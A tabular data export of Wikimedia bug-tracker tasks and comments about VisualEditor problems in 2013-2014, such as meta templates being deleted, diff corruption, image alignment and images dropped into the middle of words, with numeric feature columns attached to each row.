241499,VisualEditor: Handle 'meta' templates better,Another example given on WP:VEF is {{Link FA}},,,1374135248,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-faltfztxkqc5daxcntnx,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,36.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7857142857142856,0.8571428571428571,Another example given on WP:VEF is {{Link FA}}
241490,VisualEditor: Handle 'meta' templates better,"To help searching: the cited examples are {{Use dmy dates}} and {{Use Australian English}}.

Increasing importance/priority because they can be deleted unintentionally, and it is very unlikely a new user will know how to add them back before they click save.",,,1374135077,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-faltfztxkqc5daxcntnx,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,2.0,2.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,5.0,11.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,2.0,4.0,0.0,0.0,0.0,3.9107142857142856,0.8214285714285714,"To help searching: the cited examples are {{Use dmy dates}} and {{Use Australian English}}.

Increasing importance/priority because they can be deleted unintentionally, and it is very unlikely a new user will know how to add them back before they click save."
53304,"VisualEditor: Whitespace corruption, HTML-like entities removed, and apparent DSR issues","**Author:** `wmdv`

**Description:**
I changed the word ""you"" to ""your"" by inserting an ""r,"" in [[Gerrit/Tutorial]], but the edit summary said I inserted 10 characters, and the [https://www.mediawiki.org/w/index.php?title=Gerrit/Tutorial&diff=prev&oldid=732497 diff report] showed about 15 lines, with various things shifted around.  I was using Chrom on Windows 8.

I reported this on the support page, and 88.130.86.210‎17:17, July 13, 2013 reverted my edit, and suggested I file a bug report. [https://www.mediawiki.org/wiki/Thread:Project:Support_desk/Extensive_diff_report. Support desk resolution.]

I have also been noticing that when a change comes up on my Wikipedia watch list, I sometimes have difficulty telling what an editor did, because the diff report is full of unmodified content.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://www.mediawiki.org/wiki/Thread:Project:Support_desk/Extensive_diff_report%2E",High,80.0,1373764920,1421282222.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-sm4xza7t5teplcefqzij,task_description,resolved,True,c1,3,False,False,False,1,,0.0,0.0,0.0,0.0,0.0,3.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,5.0,0.0,2.5,6.0,0.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.5,0.0,0.0,0.5,3.0,1.0,0.0,3.0,1.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.5,15.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,1.5,0.0,0.5,0.5,0.0,1.5,0.0,0.0,0.0,5.0,1.5,12.5,1.5,2.0,5.5,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,6.0,6.0,0.0,3.0,0.0,6.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,1.5,3.534090909090909,0.6647727272727273,"**Author:** CODE

**Description:**
I changed the word ""you"" to ""your"" by inserting an ""r,"" in [[Gerrit/Tutorial]], but the edit summary said I inserted 10 characters, and the [URL diff report] showed about 15 lines, with various things shifted around.  I was using Chrom on Windows 8.

I reported this on the support page, and 88.130.86.210‎17:17, July 13, 2013 reverted my edit, and suggested I file a bug report. [URL Support desk resolution.]

I have also been noticing that when a change comes up on my Wikipedia watch list, I sometimes have difficulty telling what an editor did, because the diff report is full of unmodified content.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
399859,"VisualEditor: Whitespace corruption, HTML-like entities removed, and apparent DSR issues",No ability to track this down and no recurrence in over a year; closing.,,,1421282222,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sm4xza7t5teplcefqzij,task_subcomment,,True,c1,3,True,,,80,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,25.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,3.6875,1.0,No ability to track this down and no recurrence in over a year; closing.
240387,"VisualEditor: Whitespace corruption, HTML-like entities removed, and apparent DSR issues",Very odd corruption; assigning.,,,1373816884,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sm4xza7t5teplcefqzij,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.666666666666667,1.0,Very odd corruption; assigning.
240380,"VisualEditor: Whitespace corruption, HTML-like entities removed, and apparent DSR issues","Trying to manually encode the dot again... It didn't work even on the URL field.

https://www.mediawiki.org/wiki/Thread:Project:Support_desk/Extensive_diff_report%2E",,,1373800417,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-sm4xza7t5teplcefqzij,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,10.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.55,0.9,"Trying to manually encode the dot again... It didn't work even on the URL field.

URL"
240375,"VisualEditor: Whitespace corruption, HTML-like entities removed, and apparent DSR issues","**wmdv** wrote:

I am unable to enter the correct url, because it ends with a period, which seems to confuse bugzilla.",,,1373765414,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-sm4xza7t5teplcefqzij,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,7.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,3.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,13.0,7.0,0.0,0.0,0.0,7.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.3,0.8333333333333334,"**wmdv** wrote:

I am unable to enter the correct url, because it ends with a period, which seems to confuse bugzilla."
240371,"VisualEditor: Whitespace corruption, HTML-like entities removed, and apparent DSR issues","**wmdv** wrote:

The url for the support desk case is [https://www.mediawiki.org/wiki/Thread:Project:Support_desk/Extensive_diff_report.]",,,1373765293,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-sm4xza7t5teplcefqzij,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.7222222222222223,0.8333333333333334,"**wmdv** wrote:

The url for the support desk case is [URL"
53293,VisualEditor: Set image alignment in the media dialog,"From English Wikipedia, John Broughton (♫♫) 22:40, 12 July 2013 (UTC):

Inserted images are formatted as right-aligned, and they can't be move to the left side of the page. Similarly, existing images that are left-aligned can't be moved to the right side of the page.

--------------------------
**Version**: unspecified
**Severity**: enhancement",High,80.0,1373723400,1391656868.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-lufoybqaultvloukxdjz,task_description,resolved,True,c1,3,False,False,False,1,,0.0,0.0,0.0,4.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,5.0,5.0,14.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,1.0,7.0,9.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.7160493827160495,0.6049382716049383,"From English Wikipedia, John Broughton (♫♫) 22:40, 12 July 2013 (UTC):

Inserted images are formatted as right-aligned, and they can't be move to the left side of the page. Similarly, existing images that are left-aligned can't be moved to the right side of the page.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
239795,VisualEditor: Set image alignment in the media dialog,"Change 105225 merged by jenkins-bot:
Adding position setting to media edit dialog

https://gerrit.wikimedia.org/r/105225",,,1391655762,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-lufoybqaultvloukxdjz,task_subcomment,,True,c1,3,False,,,31,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.611111111111111,1.0,"Change 105225 merged by jenkins-bot:
Adding position setting to media edit dialog

GERRIT_URL"
239789,VisualEditor: Set image alignment in the media dialog,"Change 105225 had a related patch set uploaded by Jforrester:
Adding position setting to media edit dialog

https://gerrit.wikimedia.org/r/105225",,,1389677127,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-lufoybqaultvloukxdjz,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,4.904761904761905,1.0,"Change 105225 had a related patch set uploaded by Jforrester:
Adding position setting to media edit dialog

GERRIT_URL"
239782,VisualEditor: Set image alignment in the media dialog,"It's not a problem with right-to-left languages ;)

Removing the tracking bug.",,,1373915285,,PHID-USER-xfe43w2lb5gpvglf4coa,True,,,PHID-TASK-lufoybqaultvloukxdjz,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.5789473684210527,0.9473684210526315,"It's not a problem with right-to-left languages ;)

Removing the tracking bug."
239777,VisualEditor: Set image alignment in the media dialog,"Permanent diff: 
http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=564362312#Issues_with_images",,,1373897055,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-lufoybqaultvloukxdjz,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,1.0,"Permanent diff: 
URL"
239774,VisualEditor: Set image alignment in the media dialog,"I've copied his words verbatim as part of a long string of issues, but if it is helpful for you to see these word in context, it will be here until it archives:
http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Templates_not_aligned",,,1373896912,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-lufoybqaultvloukxdjz,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,8.0,5.0,0.0,0.0,3.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,21.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,3.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,5.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,15.0,21.0,3.0,0.0,0.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.3846153846153846,0.8974358974358975,"I've copied his words verbatim as part of a long string of issues, but if it is helpful for you to see these word in context, it will be here until it archives:
URL"
239771,VisualEditor: Set image alignment in the media dialog,"Is bug 51295 a duplicate?

(In reply to comment #0)
> From English Wikipedia, John Broughton (♫♫) 22:40, 12 July 2013 (UTC):

An URL is always highly welcome.",,,1373883475,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-lufoybqaultvloukxdjz,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,20.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,4.0,0.0,8.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.12,0.96,"Is bug 51295 a duplicate?

(In reply to comment #0)
QUOTE

An URL is always highly welcome."
53292,"VisualEditor: It should be clearer to users that they are inserting a media item in an odd place (e.g. into the middle of a word, middle of a paragraph)","From English Wikipedia, John Broughton (♫♫) 22:40, 12 July 2013 (UTC):

VE allows the image to be dropped into the middle of a word. I moved the test image perhaps a dozen times, and this happened twice - that shouldn't be possible, yes? [The words that were split were ""addition"" and ""Israel""; when I moved the image again, the words remained split (with an end-of-line inserted).]

--------------------------
**Version**: unspecified
**Severity**: enhancement",High,80.0,1373723100,1403005130.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-4hclm7qlzk6wj2x4xb2q,task_description,resolved,True,c1,3,False,False,False,1,,0.0,0.0,0.0,1.5,0.5,2.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,3.5,4.0,0.0,0.5,0.5,0.0,0.0,4.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,1.0,3.5,0.0,0.5,0.0,1.0,0.0,9.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,6.0,3.0,9.0,1.0,1.5,7.0,0.0,0.0,0.0,0.0,1.0,0.5,1.5,0.0,1.5,4.0,5.0,0.5,3.5,0.0,1.5,0.0,2.0,2.0,0.0,0.0,0.0,0.0,1.0,3.5267857142857144,0.7589285714285714,"From English Wikipedia, John Broughton (♫♫) 22:40, 12 July 2013 (UTC):

VE allows the image to be dropped into the middle of a word. I moved the test image perhaps a dozen times, and this happened twice - that shouldn't be possible, yes? [The words that were split were ""addition"" and ""Israel""; when I moved the image again, the words remained split (with an end-of-line inserted).]

--------------------------
**Version**: unspecified
**Severity**: enhancement"
239739,"VisualEditor: It should be clearer to users that they are inserting a media item in an odd place (e.g. into the middle of a word, middle of a paragraph)","51666 is the more general bug for relocating block items.

*** This bug has been marked as a duplicate of bug 51666 ***",,,1403005130,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-4hclm7qlzk6wj2x4xb2q,task_subcomment,,True,c1,3,True,,,50,,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,3.3793103448275863,0.7241379310344828,"51666 is the more general bug for relocating block items.

*** This bug has been marked as a duplicate of bug 51666 ***"
239737,"VisualEditor: It should be clearer to users that they are inserting a media item in an odd place (e.g. into the middle of a word, middle of a paragraph)",The initial plan is to try bug 65883 and see whether this is a good enough solution.,,,1401418955,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4hclm7qlzk6wj2x4xb2q,task_subcomment,,True,c1,3,True,,,47,,0.0,0.0,0.0,0.0,0.0,17.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,6.0,6.0,6.0,17.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.7777777777777777,0.9444444444444444,The initial plan is to try bug 65883 and see whether this is a good enough solution.
239735,"VisualEditor: It should be clearer to users that they are inserting a media item in an odd place (e.g. into the middle of a word, middle of a paragraph)",*** Bug 52657 has been marked as a duplicate of this bug. ***,,,1401418881,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4hclm7qlzk6wj2x4xb2q,task_subcomment,,True,c1,3,True,,,47,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52657 has been marked as a duplicate of this bug. ***
239731,"VisualEditor: It should be clearer to users that they are inserting a media item in an odd place (e.g. into the middle of a word, middle of a paragraph)",So what is the way to fix this?,,,1387304036,,PHID-USER-vm462i2ffbawnuo4mh3n,True,,,PHID-TASK-4hclm7qlzk6wj2x4xb2q,task_subcomment,,True,c1,3,False,,,24,,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,1.0,So what is the way to fix this?
239729,"VisualEditor: It should be clearer to users that they are inserting a media item in an odd place (e.g. into the middle of a word, middle of a paragraph)","en.wp user Fram comments:
""it should be made impossible that when people move images in VE (which is very easy), they put it (inadvertently) in the middle of a word. Preferably, images should only be movable to spaces between paragraphs, but they certainly shouldn't be movable to the middle of a word. Example: [https://en.wikipedia.org/w/index.php?title=Egypt%E2%80%93United_States_relations&curid=15982815&diff=566841885&oldid=565660404]

The problem seems to be that when you move a picture, the final location is not decided by the upper left corner of the image (which seems more intuitive to me), but by the location of your cursor somewhere in the middle of the picture.""",,,1375444170,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-4hclm7qlzk6wj2x4xb2q,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.5,1.5,1.5,6.0,2.5,0.0,0.0,0.0,2.0,0.5,0.0,0.5,0.0,1.0,0.0,7.0,12.0,0.0,1.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,1.0,0.5,1.5,1.5,1.5,0.0,2.0,0.0,1.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,13.0,1.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,3.5,4.0,2.5,1.5,10.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,4.5,12.0,1.0,0.0,1.5,0.0,4.5,0.0,2.5,2.0,1.0,0.0,1.0,0.0,1.0,3.791666666666667,0.7355191256830601,"en.wp user Fram comments:
""it should be made impossible that when people move images in VE (which is very easy), they put it (inadvertently) in the middle of a word. Preferably, images should only be movable to spaces between paragraphs, but they certainly shouldn't be movable to the middle of a word. Example: [URL

The problem seems to be that when you move a picture, the final location is not decided by the upper left corner of the image (which seems more intuitive to me), but by the location of your cursor somewhere in the middle of the picture."""
239723,"VisualEditor: It should be clearer to users that they are inserting a media item in an odd place (e.g. into the middle of a word, middle of a paragraph)",*** Bug 52178 has been marked as a duplicate of this bug. ***,,,1375298515,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4hclm7qlzk6wj2x4xb2q,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52178 has been marked as a duplicate of this bug. ***
53270,VisualEditor: Mobile Google Chrome text cursor hides link object icon,"On Google Chrome on Galaxy Note 2

1. open VE
2. 'click' on a link

Results:
The text cursor appears at the character of text selected.
The link editor icon appears below the character of text selected.
The text cursor makes it impossible? to click on the link editor icon.

One solution would be to place the link editor icon above the linked text, and ideally place it always at the end of the linked text instead of at the character where the text cursor.

--------------------------
**Version**: unspecified
